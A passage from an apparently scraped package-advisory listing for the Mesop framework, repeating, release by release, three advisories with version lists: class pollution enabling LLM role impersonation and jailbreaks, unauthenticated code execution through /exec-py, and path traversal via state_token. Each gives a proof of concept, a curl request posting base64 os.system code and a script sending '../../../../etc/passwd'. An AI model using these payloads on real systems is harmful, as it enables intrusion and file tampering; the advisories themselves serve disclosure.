    "http://localhost:32123/ui",
    data=serialized_event,
    headers=headers
 )

# The server will attempt to parse /etc/passwd using msgpack, 
# resulting in a crash or reading/overwriting operations depending on the request type invoked.
 print(response.content)

Impact

This vulnerability heavily exposes systems hosted utilizing FileStateSessionBackend. Unauthorized malicious actors could interact with arbitrary payloads overwriting or explicitly removing underlying service resources natively outside the application bounds.

Affected versions


          0.0.1


          0.10.0


          0.10.0rc0


          0.10.0rc1


          0.10.0rc2


          0.11.0


          0.11.0rc0


          0.11.1


          0.12.0


          0.12.0rc0


          0.12.1


          0.12.10b1

+ 80 more


            0.12.10b2


            0.12.10b3


            0.12.10rc1


            0.12.1rc0


            0.12.2


            0.12.3


            0.12.3rc0


            0.12.4


            0.12.4rc0


            0.12.5


            0.12.5b1


            0.12.5rc1


            0.12.6


            0.12.6rc1


            0.12.7


            0.12.7b1


            0.12.7rc1


            0.12.8


            0.12.8b1


            0.12.8rc1


            0.12.9


            0.12.9rc1


            0.13.0


            0.13.0rc1


            0.14.0


            0.14.1


            0.14.1rc1


            0.14.2b1


            0.14.2b2


            0.14.2rc1


            0.14rc1


            0.3.1


            0.3.2


            0.3.3


            0.3.4


            0.4.0


            0.4.1


            0.4.2


            0.5.0


            0.5.1


            0.5.2


            0.5.3


            0.5.4


            0.5.5


            0.5.6


            0.6.0


            0.7.0


            0.7.1


            0.7.2


            0.8.0


            0.8.0rc0


            0.9.0


            0.9.0rc1


            0.9.1


            0.9.1rc1


            0.9.2


            0.9.2rc1


            0.9.3


            0.9.3rc0


            0.9.4


            0.9.4rc0


            0.9.5


            0.9.5rc0


            1.0.0


            1.0.0rc1


            1.0.0rc2


            1.0.1


            1.0.1rc1


            1.1.0


            1.1.0rc1


            1.1.1


            1.1.1rc1


            1.1.1rc2


            1.1.1rc3


            1.2.0


            1.2.0rc1


            1.2.1


            1.2.1rc1


            1.2.2


            1.2.2rc1

Fixed in


          1.2.3

References

Updated Jul 13, 2026 · Source: OSV.dev

Nov 13, 2024

0.12.9rc1 pre

3 CVEs

CVE-2025-30358 PYSEC-2026-1624 GHSA-f3mf-hm6v-jfhh Jul 07, 2026

Mesop Class Pollution vulnerability leads to DoS and Jailbreak attacks

8.1 / 10

High

Network Low Low None Unchanged None High High

From @jackfromeast and @superboy-zjc: We have identified a class pollution vulnerability in Mesop (<= 0.14.0) application that allows attackers to overwrite global variables and class attributes in certain Mesop modules during runtime. This vulnerability could directly lead to a denial of service (DoS) attack against the server. Additionally, it could also result in other severe consequences given the application's implementation, such as identity confusion, where an attacker could impersonate an assistant or system role within conversations. This impersonation could potentially enable jailbreak attacks when interacting with large language models (LLMs).

Just like the Javascript's prototype pollution, this vulnerability could leave a way for attackers to manipulate the intended data-flow or control-flow of the application at runtime and lead to severe consequnces like RCE when gadgets are available.

Affected versions


          0.0.1


          0.10.0


          0.10.0rc0


          0.10.0rc1


          0.10.0rc2


          0.11.0


          0.11.0rc0


          0.11.1


          0.12.0


          0.12.0rc0


          0.12.1


          0.12.10b1

+ 59 more


            0.12.10b2


            0.12.10b3


            0.12.10rc1


            0.12.1rc0


            0.12.2


            0.12.3


            0.12.3rc0


            0.12.4


            0.12.4rc0


            0.12.5


            0.12.5b1


            0.12.5rc1


            0.12.6


            0.12.6rc1


            0.12.7


            0.12.7b1


            0.12.7rc1


            0.12.8


            0.12.8b1


            0.12.8rc1


            0.12.9


            0.12.9rc1


            0.13.0


            0.13.0rc1


            0.14.0


            0.14.1rc1


            0.14rc1


            0.3.1


            0.3.2


            0.3.3


            0.3.4


            0.4.0


            0.4.1


            0.4.2


            0.5.0


            0.5.1


            0.5.2


            0.5.3


            0.5.4


            0.5.5


            0.5.6


            0.6.0


            0.7.0


            0.7.1


            0.7.2


            0.8.0


            0.8.0rc0


            0.9.0


            0.9.0rc1


            0.9.1


            0.9.1rc1


            0.9.2


            0.9.2rc1


            0.9.3


            0.9.3rc0


            0.9.4


            0.9.4rc0


            0.9.5


            0.9.5rc0

Fixed in


          0.14.1

References

Updated Jul 07, 2026 · Source: OSV.dev

CVE-2026-33057 PYSEC-2026-412 GHSA-gjgx-rvqr-6w6v Jun 29, 2026

Mesop Affected by Unauthenticated Remote Code Execution via Test Suite Route /exec-py

9.8 / 10

Critical

Network Low None None Unchanged High High High

Summary

An explicit web endpoint inside the ai/ testing module infrastructure directly ingests untrusted Python code strings unconditionally without authentication measures, yielding standard Unrestricted Remote Code Execution. Any individual capable of routing HTTP logic to this server block will gain explicit host-machine command rights.

Details

The AI codebase package includes a lightweight debugging Flask server inside ai/sandbox/wsgi_app.py. The /exec-py route accepts base_64 encoded raw string payloads inside the code parameter natively evaluated by a basic POST web request. It saves it rapidly to the operating system logic path and injects it recursively using execute_module(module_path...).

 # ai/sandbox/wsgi_app.py
@flask_app.route("/exec-py", methods=["POST"])
def exec_py_route():
  code = base64.urlsafe_b64decode(request.form.get("code"))
  # ... code is blindly written to file and forcefully executed

PoC

# Payload:
# import os
# os.system('echo "pwned by attacker" > /tmp/pwned.txt')
# 
# Base64 string represents the identical payload block above: 
# aW1wb3J0IG9zCm9zLnN5c3RlbSgnZWNobyAicHduZWQgYnkgYXR0YWNrZXIiID4gL3RtcC9wd25lZC50eHQnKQ==

curl -X POST http://<target_ip_address_hosting_sandbox>:port/exec-py \
 -H "Content-Type: application/x-www-form-urlencoded" \
 -d "code=aW1wb3J0IG9zCm9zLnN5c3RlbSgnZWNobyAicHduZWQgYnkgYXR0YWNrZXIiID4gL3RtcC9wd25lZC50eHQnKQ=="

# Validate exploitation target execution natively:
# $ cat /tmp/pwned.txt
# pwned by attacker

Impact

This presents trivial severity for systems publicly exposed or lacking strictly verified boundary firewalls due to absolute unauthenticated command injection privileges targeting the direct execution interpreter running this service sandbox.

Affected versions


          0.0.1


          0.10.0


          0.10.0rc0


          0.10.0rc1


          0.10.0rc2


          0.11.0


          0.11.0rc0


          0.11.1


          0.12.0


          0.12.0rc0


          0.12.1


          0.12.10b1

+ 80 more


            0.12.10b2


            0.12.10b3


            0.12.10rc1


            0.12.1rc0


            0.12.2


            0.12.3


            0.12.3rc0


            0.12.4


            0.12.4rc0


            0.12.5


            0.12.5b1


            0.12.5rc1


            0.12.6


            0.12.6rc1


            0.12.7


            0.12.7b1


            0.12.7rc1


            0.12.8


            0.12.8b1


            0.12.8rc1


            0.12.9


            0.12.9rc1


            0.13.0


            0.13.0rc1


            0.14.0


            0.14.1


            0.14.1rc1


            0.14.2b1


            0.14.2b2


            0.14.2rc1


            0.14rc1


            0.3.1


            0.3.2


            0.3.3


            0.3.4


            0.4.0


            0.4.1


            0.4.2


            0.5.0


            0.5.1


            0.5.2


            0.5.3


            0.5.4


            0.5.5


            0.5.6


            0.6.0


            0.7.0


            0.7.1


            0.7.2


            0.8.0


            0.8.0rc0


            0.9.0


            0.9.0rc1


            0.9.1


            0.9.1rc1


            0.9.2


            0.9.2rc1


            0.9.3


            0.9.3rc0


            0.9.4


            0.9.4rc0


            0.9.5


            0.9.5rc0


            1.0.0


            1.0.0rc1


            1.0.0rc2


            1.0.1


            1.0.1rc1


            1.1.0


            1.1.0rc1


            1.1.1


            1.1.1rc1


            1.1.1rc2


            1.1.1rc3


            1.2.0


            1.2.0rc1


            1.2.1


            1.2.1rc1


            1.2.2


            1.2.2rc1

Fixed in


          1.2.3

References

Updated Jul 13, 2026 · Source: OSV.dev

CVE-2026-33054 PYSEC-2026-411 GHSA-8qvf-mr4w-9x2c Jun 29, 2026

Mesop has a Path Traversal utilizing `FileStateSessionBackend` leads to Application Denial of Service and File Write/Deletion

10.0 / 10

Critical

Network Low None None Changed High High High

Summary

A Path Traversal vulnerability allows any user (or attacker) supplying an untrusted state_token through the UI stream payload to arbitrarily target files on the disk under the standard file-based runtime backend. This can result in application denial of service (via crash loops when reading non-msgpack target files as configurations), or arbitrary file manipulation.

Details

When the framework is configured to use the disk-based session backend (FileStateSessionBackend), the user's state_token actively dictates where the runtime session state is physically saved or queried natively on disk. In mesop/server/server.py, specifically the ui_stream endpoint, the event.state_token is collected directly from the untrusted incoming protobuf message struct: mesop.protos.ui_pb2.UserEvent. Because this is unconditionally passed to FileStateSessionBackend._make_file_path(self, token), it evaluates standard path operators (e.g. ../../../).

# mesop/server/state_session.py
  def _make_file_path(self, token: str) -> Path:
    return self.base_dir / (self.prefix + token)

Python's standard library natively resolves OS traversal semantics allowing full escape from the base_dir destination intent.

PoC

An attacker can utilize Python to craft and send a malicious Protobuf payload to the /ui stream.

import requests
import mesop.protos.ui_pb2 as pb # Assuming mesop protos are compiled

# 1. Craft the malicious protobuf message
user_event = pb.UserEvent()
 # Escaping the tmp directory via path traversal to target a sensitive file, e.g., the root crontab or a system file
user_event.state_token = "../../../../etc/passwd" 

# Alternatively, targeting Windows:
# user_event.state_token = "..\\..\\..\\..\\Windows\\System32\\drivers\\etc\\hosts"

serialized_event = user_event.SerializeToString()

# 2. Send the message to the ui stream endpoint
 headers = {'Content-Type': 'application/x-protobuf'}
response = requests.post(
    "http://localhost:32123/ui",
    data=serialized_event,
    headers=headers
 )

# The server will attempt to parse /etc/passwd using msgpack, 
# resulting in a crash or reading/overwriting operations depending on the request type invoked.
 print(response.content)

Impact

This vulnerability heavily exposes systems hosted utilizing FileStateSessionBackend. Unauthorized malicious actors could interact with arbitrary payloads overwriting or explicitly removing underlying service resources natively outside the application bounds.

Affected versions


          0.0.1


          0.10.0


          0.10.0rc0


          0.10.0rc1


          0.10.0rc2


          0.11.0


          0.11.0rc0


          0.11.1


          0.12.0


          0.12.0rc0


          0.12.1


          0.12.10b1

+ 80 more


            0.12.10b2


            0.12.10b3


            0.12.10rc1


            0.12.1rc0


            0.12.2


            0.12.3


            0.12.3rc0


            0.12.4


            0.12.4rc0


            0.12.5


            0.12.5b1


            0.12.5rc1


            0.12.6


            0.12.6rc1


            0.12.7


            0.12.7b1


            0.12.7rc1


            0.12.8


            0.12.8b1


            0.12.8rc1


            0.12.9


            0.12.9rc1


            0.13.0


            0.13.0rc1


            0.14.0


            0.14.1


            0.14.1rc1


            0.14.2b1


            0.14.2b2


            0.14.2rc1


            0.14rc1


            0.3.1


            0.3.2


            0.3.3


            0.3.4


            0.4.0


            0.4.1


            0.4.2


            0.5.0


            0.5.1


            0.5.2


            0.5.3


            0.5.4


            0.5.5


            0.5.6


            0.6.0


            0.7.0


            0.7.1


            0.7.2


            0.8.0


            0.8.0rc0


            0.9.0


            0.9.0rc1


            0.9.1


            0.9.1rc1


            0.9.2


            0.9.2rc1


            0.9.3


            0.9.3rc0


            0.9.4


            0.9.4rc0


            0.9.5


            0.9.5rc0


            1.0.0


            1.0.0rc1


            1.0.0rc2


            1.0.1


            1.0.1rc1


            1.1.0


            1.1.0rc1


            1.1.1


            1.1.1rc1


            1.1.1rc2


            1.1.1rc3


            1.2.0


            1.2.0rc1


            1.2.1


            1.2.1rc1


            1.2.2


            1.2.2rc1

Fixed in


          1.2.3

References

Updated Jul 13, 2026 · Source: OSV.dev

Nov 13, 2024

0.12.8 patch

3 CVEs

CVE-2025-30358 PYSEC-2026-1624 GHSA-f3mf-hm6v-jfhh Jul 07, 2026

Mesop Class Pollution vulnerability leads to DoS and Jailbreak attacks

8.1 / 10

High

Network Low Low None Unchanged None High High

From @jackfromeast and @superboy-zjc: We have identified a class pollution vulnerability in Mesop (<= 0.14.0) application that allows attackers to overwrite global variables and class attributes in certain Mesop modules during runtime. This vulnerability could directly lead to a denial of service (DoS) attack against the server. Additionally, it could also result in other severe consequences given the application's implementation, such as identity confusion, where an attacker could impersonate an assistant or system role within conversations. This impersonation could potentially enable jailbreak attacks when interacting with large language models (LLMs).

Just like the Javascript's prototype pollution, this vulnerability could leave a way for attackers to manipulate the intended data-flow or control-flow of the application at runtime and lead to severe consequnces like RCE when gadgets are available.

Affected versions


          0.0.1


          0.10.0


          0.10.0rc0


          0.10.0rc1


          0.10.0rc2


          0.11.0


          0.11.0rc0


          0.11.1


          0.12.0


          0.12.0rc0


          0.12.1


          0.12.10b1

+ 59 more


            0.12.10b2


            0.12.10b3


            0.12.10rc1


            0.12.1rc0


            0.12.2


            0.12.3


            0.12.3rc0


            0.12.4


            0.12.4rc0


            0.12.5


            0.12.5b1


            0.12.5rc1


            0.12.6


            0.12.6rc1


            0.12.7


            0.12.7b1


            0.12.7rc1


            0.12.8


            0.12.8b1


            0.12.8rc1


            0.12.9


            0.12.9rc1


            0.13.0


            0.13.0rc1


            0.14.0


            0.14.1rc1


            0.14rc1


            0.3.1


            0.3.2


            0.3.3


            0.3.4


            0.4.0


            0.4.1


            0.4.2


            0.5.0


            0.5.1


            0.5.2


            0.5.3


            0.5.4


            0.5.5


            0.5.6


            0.6.0


            0.7.0


            0.7.1


            0.7.2


            0.8.0


            0.8.0rc0


            0.9.0


            0.9.0rc1


            0.9.1


            0.9.1rc1


            0.9.2


            0.9.2rc1


            0.9.3


            0.9.3rc0


            0.9.4


            0.9.4rc0


            0.9.5


            0.9.5rc0

Fixed in


          0.14.1

References

Updated Jul 07, 2026 · Source: OSV.dev

CVE-2026-33057 PYSEC-2026-412 GHSA-gjgx-rvqr-6w6v Jun 29, 2026

Mesop Affected by Unauthenticated Remote Code Execution via Test Suite Route /exec-py

9.8 / 10

Critical

Network Low None None Unchanged High High High

Summary

An explicit web endpoint inside the ai/ testing module infrastructure directly ingests untrusted Python code strings unconditionally without authentication measures, yielding standard Unrestricted Remote Code Execution. Any individual capable of routing HTTP logic to this server block will gain explicit host-machine command rights.

Details

The AI codebase package includes a lightweight debugging Flask server inside ai/sandbox/wsgi_app.py. The /exec-py route accepts base_64 encoded raw string payloads inside the code parameter natively evaluated by a basic POST web request. It saves it rapidly to the operating system logic path and injects it recursively using execute_module(module_path...).

 # ai/sandbox/wsgi_app.py
@flask_app.route("/exec-py", methods=["POST"])
def exec_py_route():
  code = base64.urlsafe_b64decode(request.form.get("code"))
  # ... code is blindly written to file and forcefully executed

PoC

# Payload:
# import os
# os.system('echo "pwned by attacker" > /tmp/pwned.txt')
# 
# Base64 string represents the identical payload block above: 
# aW1wb3J0IG9zCm9zLnN5c3RlbSgnZWNobyAicHduZWQgYnkgYXR0YWNrZXIiID4gL3RtcC9wd25lZC50eHQnKQ==

curl -X POST http://<target_ip_address_hosting_sandbox>:port/exec-py \
 -H "Content-Type: application/x-www-form-urlencoded" \
 -d "code=aW1wb3J0IG9zCm9zLnN5c3RlbSgnZWNobyAicHduZWQgYnkgYXR0YWNrZXIiID4gL3RtcC9wd25lZC50eHQnKQ=="

# Validate exploitation target execution natively:
# $ cat /tmp/pwned.txt
# pwned by attacker

Impact

This presents trivial severity for systems publicly exposed or lacking strictly verified boundary firewalls due to absolute unauthenticated command injection privileges targeting the direct execution interpreter running this service sandbox.

Affected versions


          0.0.1


          0.10.0


          0.10.0rc0


          0.10.0rc1


          0.10.0rc2


          0.11.0


          0.11.0rc0


          0.11.1


          0.12.0


          0.12.0rc0


          0.12.1


          0.12.10b1

+ 80 more


            0.12.10b2


            0.12.10b3


            0.12.10rc1


            0.12.1rc0


            0.12.2


            0.12.3


            0.12.3rc0


            0.12.4


            0.12.4rc0


            0.12.5


            0.12.5b1


            0.12.5rc1


            0.12.6


            0.12.6rc1


            0.12.7


            0.12.7b1


            0.12.7rc1


            0.12.8


            0.12.8b1


            0.12.8rc1


            0.12.9


            0.12.9rc1


            0.13.0


            0.13.0rc1


            0.14.0


            0.14.1


            0.14.1rc1


            0.14.2b1


            0.14.2b2


            0.14.2rc1


            0.14rc1


            0.3.1


            0.3.2


            0.3.3


            0.3.4


            0.4.0


            0.4.1


            0.4.2


            0.5.0


            0.5.1


            0.5.2


            0.5.3


            0.5.4


            0.5.5


            0.5.6


            0.6.0


            0.7.0


            0.7.1


            0.7.2


            0.8.0


            0.8.0rc0


            0.9.0


            0.9.0rc1


            0.9.1


            0.9.1rc1


            0.9.2


            0.9.2rc1


            0.9.3


            0.9.3rc0


            0.9.4


            0.9.4rc0


            0.9.5


            0.9.5rc0


            1.0.0


            1.0.0rc1


            1.0.0rc2


            1.0.1


            1.0.1rc1


            1.1.0


            1.1.0rc1


            1.1.1


            1.1.1rc1


            1.1.1rc2


            1.1.1rc3


            1.2.0


            1.2.0rc1


            1.2.1


            1.2.1rc1


            1.2.2


            1.2.2rc1

Fixed in


          1.2.3

References

Updated Jul 13, 2026 · Source: OSV.dev

CVE-2026-33054 PYSEC-2026-411 GHSA-8qvf-mr4w-9x2c Jun 29, 2026

Mesop has a Path Traversal utilizing `FileStateSessionBackend` leads to Application Denial of Service and File Write/Deletion

10.0 / 10

Critical

Network Low None None Changed High High High

Summary

A Path Traversal vulnerability allows any user (or attacker) supplying an untrusted state_token through the UI stream payload to arbitrarily target files on the disk under the standard file-based runtime backend. This can result in application denial of service (via crash loops when reading non-msgpack target files as configurations), or arbitrary file manipulation.

Details

When the framework is configured to use the disk-based session backend (FileStateSessionBackend), the user's state_token actively dictates where the runtime session state is physically saved or queried natively on disk. In mesop/server/server.py, specifically the ui_stream endpoint, the event.state_token is collected directly from the untrusted incoming protobuf message struct: mesop.protos.ui_pb2.UserEvent. Because this is unconditionally passed to FileStateSessionBackend._make_file_path(self, token), it evaluates standard path operators (e.g. ../../../).

# mesop/server/state_session.py
  def _make_file_path(self, token: str) -> Path:
    return self.base_dir / (self.prefix + token)

Python's standard library natively resolves OS traversal semantics allowing full escape from the base_dir destination intent.

PoC

An attacker can utilize Python to craft and send a malicious Protobuf payload to the /ui stream.

import requests
import mesop.protos.ui_pb2 as pb # Assuming mesop protos are compiled

# 1. Craft the malicious protobuf message
user_event = pb.UserEvent()
 # Escaping the tmp directory via path traversal to target a sensitive file, e.g., the root crontab or a system file
user_event.state_token = "../../../../etc/passwd" 

# Alternatively, targeting Windows:
# user_event.state_token = "..\\..\\..\\..\\Windows\\System32\\drivers\\etc\\hosts"

serialized_event = user_event.SerializeToString()

# 2. Send the message to the ui stream endpoint
 headers = {'Content-Type': 'application/x-protobuf'}
response = requests.post(
    "http://localhost:32123/ui",
    data=serialized_event,
    headers=headers
 )

# The server will attempt to parse /etc/passwd using msgpack, 
# resulting in a crash or reading/overwriting operations depending on the request type invoked.
 print(response.content)

Impact

This vulnerability heavily exposes systems hosted utilizing FileStateSessionBackend. Unauthorized malicious actors could interact with arbitrary payloads overwriting or explicitly removing underlying service resources natively outside the application bounds.

Affected versions


          0.0.1


          0.10.0


          0.10.0rc0


          0.10.0rc1


          0.10.0rc2


          0.11.0


          0.11.0rc0


          0.11.1


          0.12.0


          0.12.0rc0


          0.12.1


          0.12.10b1

+ 80 more


            0.12.10b2


            0.12.10b3


            0.12.10rc1


            0.12.1rc0


            0.12.2


            0.12.3


            0.12.3rc0


            0.12.4


            0.12.4rc0


            0.12.5


            0.12.5b1


            0.12.5rc1


            0.12.6


            0.12.6rc1


            0.12.7


            0.12.7b1


            0.12.7rc1


            0.12.8


            0.12.8b1


            0.12.8rc1


            0.12.9


            0.12.9rc1


            0.13.0


            0.13.0rc1


            0.14.0


            0.14.1


            0.14.1rc1


            0.14.2b1


            0.14.2b2


            0.14.2rc1


            0.14rc1


            0.3.1


            0.3.2


            0.3.3


            0.3.4


            0.4.0


            0.4.1


            0.4.2


            0.5.0


            0.5.1


            0.5.2


            0.5.3


            0.5.4


            0.5.5


            0.5.6


            0.6.0


            0.7.0


            0.7.1


            0.7.2


            0.8.0


            0.8.0rc0


            0.9.0


            0.9.0rc1


            0.9.1


            0.9.1rc1


            0.9.2


            0.9.2rc1


            0.9.3


            0.9.3rc0


            0.9.4


            0.9.4rc0


            0.9.5


            0.9.5rc0


            1.0.0


            1.0.0rc1


            1.0.0rc2


            1.0.1


            1.0.1rc1


            1.1.0


            1.1.0rc1


            1.1.1


            1.1.1rc1


            1.1.1rc2


            1.1.1rc3


            1.2.0


            1.2.0rc1


            1.2.1


            1.2.1rc1


            1.2.2


            1.2.2rc1

Fixed in


          1.2.3

References

Updated Jul 13, 2026 · Source: OSV.dev

Nov 02, 2024

0.12.8rc1 pre

3 CVEs

CVE-2025-30358 PYSEC-2026-1624 GHSA-f3mf-hm6v-jfhh Jul 07, 2026

Mesop Class Pollution vulnerability leads to DoS and Jailbreak attacks

8.1 / 10

High

Network Low Low None Unchanged None High High

From @jackfromeast and @superboy-zjc: We have identified a class pollution vulnerability in Mesop (<= 0.14.0) application that allows attackers to overwrite global variables and class attributes in certain Mesop modules during runtime. This vulnerability could directly lead to a denial of service (DoS) attack against the server. Additionally, it could also result in other severe consequences given the application's implementation, such as identity confusion, where an attacker could impersonate an assistant or system role within conversations. This impersonation could potentially enable jailbreak attacks when interacting with large language models (LLMs).

Just like the Javascript's prototype pollution, this vulnerability could leave a way for attackers to manipulate the intended data-flow or control-flow of the application at runtime and lead to severe consequnces like RCE when gadgets are available.

Affected versions


          0.0.1


          0.10.0


          0.10.0rc0


          0.10.0rc1


          0.10.0rc2


          0.11.0


          0.11.0rc0


          0.11.1


          0.12.0


          0.12.0rc0


          0.12.1


          0.12.10b1

+ 59 more


            0.12.10b2


            0.12.10b3


            0.12.10rc1


            0.12.1rc0


            0.12.2


            0.12.3


            0.12.3rc0


            0.12.4


            0.12.4rc0


            0.12.5


            0.12.5b1


            0.12.5rc1


            0.12.6


            0.12.6rc1


            0.12.7


            0.12.7b1


            0.12.7rc1


            0.12.8


            0.12.8b1


            0.12.8rc1


            0.12.9


            0.12.9rc1


            0.13.0


            0.13.0rc1


            0.14.0


            0.14.1rc1


            0.14rc1


            0.3.1


            0.3.2


            0.3.3


            0.3.4


            0.4.0


            0.4.1


            0.4.2


            0.5.0


            0.5.1


            0.5.2


            0.5.3


            0.5.4


            0.5.5


            0.5.6


            0.6.0


            0.7.0


            0.7.1


            0.7.2


            0.8.0


            0.8.0rc0


            0.9.0


            0.9.0rc1


            0.9.1


            0.9.1rc1


            0.9.2


            0.9.2rc1


            0.9.3


            0.9.3rc0


            0.9.4


            0.9.4rc0


            0.9.5


            0.9.5rc0

Fixed in


          0.14.1

References

Updated Jul 07, 2026 · Source: OSV.dev

CVE-2026-33057 PYSEC-2026-412 GHSA-gjgx-rvqr-6w6v Jun 29, 2026

Mesop Affected by Unauthenticated Remote Code Execution via Test Suite Route /exec-py

9.8 / 10

Critical

Network Low None None Unchanged High High High

Summary

An explicit web endpoint inside the ai/ testing module infrastructure directly ingests untrusted Python code strings unconditionally without authentication measures, yielding standard Unrestricted Remote Code Execution. Any individual capable of routing HTTP logic to this server block will gain explicit host-machine command rights.

Details

The AI codebase package includes a lightweight debugging Flask server inside ai/sandbox/wsgi_app.py. The /exec-py route accepts base_64 encoded raw string payloads inside the code parameter natively evaluated by a basic POST web request. It saves it rapidly to the operating system logic path and injects it recursively using execute_module(module_path...).

 # ai/sandbox/wsgi_app.py
@flask_app.route("/exec-py", methods=["POST"])
def exec_py_route():
  code = base64.urlsafe_b64decode(request.form.get("code"))
  # ... code is blindly written to file and forcefully executed

PoC

# Payload:
# import os
# os.system('echo "pwned by attacker" > /tmp/pwned.txt')
# 
# Base64 string represents the identical payload block above: 
# aW1wb3J0IG9zCm9zLnN5c3RlbSgnZWNobyAicHduZWQgYnkgYXR0YWNrZXIiID4gL3RtcC9wd25lZC50eHQnKQ==

curl -X POST http://<target_ip_address_hosting_sandbox>:port/exec-py \
 -H "Content-Type: application/x-www-form-urlencoded" \
 -d "code=aW1wb3J0IG9zCm9zLnN5c3RlbSgnZWNobyAicHduZWQgYnkgYXR0YWNrZXIiID4gL3RtcC9wd25lZC50eHQnKQ=="

# Validate exploitation target execution natively:
# $ cat /tmp/pwned.txt
# pwned by attacker

Impact

This presents trivial severity for systems publicly exposed or lacking strictly verified boundary firewalls due to absolute unauthenticated command injection privileges targeting the direct execution interpreter running this service sandbox.

Affected versions


          0.0.1


          0.10.0


          0.10.0rc0


          0.10.0rc1


          0.10.0rc2


          0.11.0


          0.11.0rc0


          0.11.1


          0.12.0


          0.12.0rc0


          0.12.1


          0.12.10b1

+ 80 more


            0.12.10b2


            0.12.10b3


            0.12.10rc1


            0.12.1rc0


            0.12.2


            0.12.3


            0.12.3rc0


            0.12.4


            0.12.4rc0


            0.12.5


            0.12.5b1


            0.12.5rc1


            0.12.6


            0.12.6rc1


            0.12.7


            0.12.7b1


            0.12.7rc1


            0.12.8


            0.12.8b1


            0.12.8rc1


            0.12.9


            0.12.9rc1


            0.13.0


            0.13.0rc1


            0.14.0


            0.14.1


            0.14.1rc1


            0.14.2b1


            0.14.2b2


            0.14.2rc1


            0.14rc1


            0.3.1


            0.3.2


            0.3.3


            0.3.4


            0.4.0


            0.4.1


            0.4.2


            0.5.0


            0.5.1


            0.5.2


            0.5.3


            0.5.4


            0.5.5


            0.5.6


            0.6.0


            0.7.0


            0.7.1


            0.7.2


            0.8.0


            0.8.0rc0


            0.9.0


            0.9.0rc1


            0.9.1


            0.9.1rc1


            0.9.2


            0.9.2rc1


            0.9.3


            0.9.3rc0


            0.9.4


            0.9.4rc0


            0.9.5


            0.9.5rc0


            1.0.0


            1.0.0rc1


            1.0.0rc2


            1.0.1


            1.0.1rc1


            1.1.0


            1.1.0rc1


            1.1.1


            1.1.1rc1


            1.1.1rc2


            1.1.1rc3


            1.2.0


            1.2.0rc1


            1.2.1


            1.2.1rc1


            1.2.2


            1.2.2rc1

Fixed in


          1.2.3

References

Updated Jul 13, 2026 · Source: OSV.dev

CVE-2026-33054 PYSEC-2026-411 GHSA-8qvf-mr4w-9x2c Jun 29, 2026

Mesop has a Path Traversal utilizing `FileStateSessionBackend` leads to Application Denial of Service and File Write/Deletion

10.0 / 10

Critical

Network Low None None Changed High High High

Summary

A Path Traversal vulnerability allows any user (or attacker) supplying an untrusted state_token through the UI stream payload to arbitrarily target files on the disk under the standard file-based runtime backend. This can result in application denial of service (via crash loops when reading non-msgpack target files as configurations), or arbitrary file manipulation.

Details

When the framework is configured to use the disk-based session backend (FileStateSessionBackend), the user's state_token actively dictates where the runtime session state is physically saved or queried natively on disk. In mesop/server/server.py, specifically the ui_stream endpoint, the event.state_token is collected directly from the untrusted incoming protobuf message struct: mesop.protos.ui_pb2.UserEvent. Because this is unconditionally passed to FileStateSessionBackend._make_file_path(self, token), it evaluates standard path operators (e.g. ../../../).

# mesop/server/state_session.py
  def _make_file_path(self, token: str) -> Path:
    return self.base_dir / (self.prefix + token)

Python's standard library natively resolves OS traversal semantics allowing full escape from the base_dir destination intent.

PoC

An attacker can utilize Python to craft and send a malicious Protobuf payload to the /ui stream.

import requests
import mesop.protos.ui_pb2 as pb # Assuming mesop protos are compiled

# 1. Craft the malicious protobuf message
user_event = pb.UserEvent()
 # Escaping the tmp directory via path traversal to target a sensitive file, e.g., the root crontab or a system file
user_event.state_token = "../../../../etc/passwd" 

# Alternatively, targeting Windows:
# user_event.state_token = "..\\..\\..\\..\\Windows\\System32\\drivers\\etc\\hosts"

serialized_event = user_event.SerializeToString()

# 2. Send the message to the ui stream endpoint
 headers = {'Content-Type': 'application/x-protobuf'}
response = requests.post(
    "http://localhost:32123/ui",
    data=serialized_event,
    headers=headers
 )

# The server will attempt to parse /etc/passwd using msgpack, 
# resulting in a crash or reading/overwriting operations depending on the request type invoked.
 print(response.content)

Impact

This vulnerability heavily exposes systems hosted utilizing FileStateSessionBackend. Unauthorized malicious actors could interact with arbitrary payloads overwriting or explicitly removing underlying service resources natively outside the application bounds.

Affected versions


          0.0.1


          0.10.0


          0.10.0rc0


          0.10.0rc1


          0.10.0rc2


          0.11.0


          0.11.0rc0


          0.11.1


          0.12.0


          0.12.0rc0


          0.12.1


          0.12.10b1

+ 80 more


            0.12.10b2


            0.12.10b3


            0.12.10rc1


            0.12.1rc0


            0.12.2


            0.12.3


            0.12.3rc0


            0.12.4


            0.12.4rc0


            0.12.5


            0.12.5b1


            0.12.5rc1


            0.12.6


            0.12.6rc1


            0.12.7


            0.12.7b1


            0.12.7rc1


            0.12.8


            0.12.8b1


            0.12.8rc1


            0.12.9


            0.12.9rc1


            0.13.0


            0.13.0rc1


            0.14.0


            0.14.1


            0.14.1rc1


            0.14.2b1


            0.14.2b2


            0.14.2rc1


            0.14rc1


            0.3.1


            0.3.2


            0.3.3


            0.3.4


            0.4.0


            0.4.1


            0.4.2


            0.5.0


            0.5.1


            0.5.2


            0.5.3


            0.5.4


            0.5.5


            0.5.6


            0.6.0


            0.7.0


            0.7.1


            0.7.2


            0.8.0


            0.8.0rc0


            0.9.0


            0.9.0rc1


            0.9.1


            0.9.1rc1


            0.9.2


            0.9.2rc1


            0.9.3


            0.9.3rc0


            0.9.4


            0.9.4rc0


            0.9.5


            0.9.5rc0


            1.0.0


            1.0.0rc1


            1.0.0rc2


            1.0.1


            1.0.1rc1


            1.1.0


            1.1.0rc1


            1.1.1


            1.1.1rc1


            1.1.1rc2


            1.1.1rc3


            1.2.0


            1.2.0rc1


            1.2.1


            1.2.1rc1


            1.2.2


            1.2.2rc1

Fixed in


          1.2.3

References

Updated Jul 13, 2026 · Source: OSV.dev

Nov 02, 2024

0.12.8b1 pre

3 CVEs

CVE-2025-30358 PYSEC-2026-1624 GHSA-f3mf-hm6v-jfhh Jul 07, 2026

Mesop Class Pollution vulnerability leads to DoS and Jailbreak attacks

8.1 / 10

High

Network Low Low None Unchanged None High High

From @jackfromeast and @superboy-zjc: We have identified a class pollution vulnerability in Mesop (<= 0.14.0) application that allows attackers to overwrite global variables and class attributes in certain Mesop modules during runtime. This vulnerability could directly lead to a denial of service (DoS) attack against the server. Additionally, it could also result in other severe consequences given the application's implementation, such as identity confusion, where an attacker could impersonate an assistant or system role within conversations. This impersonation could potentially enable jailbreak attacks when interacting with large language models (LLMs).

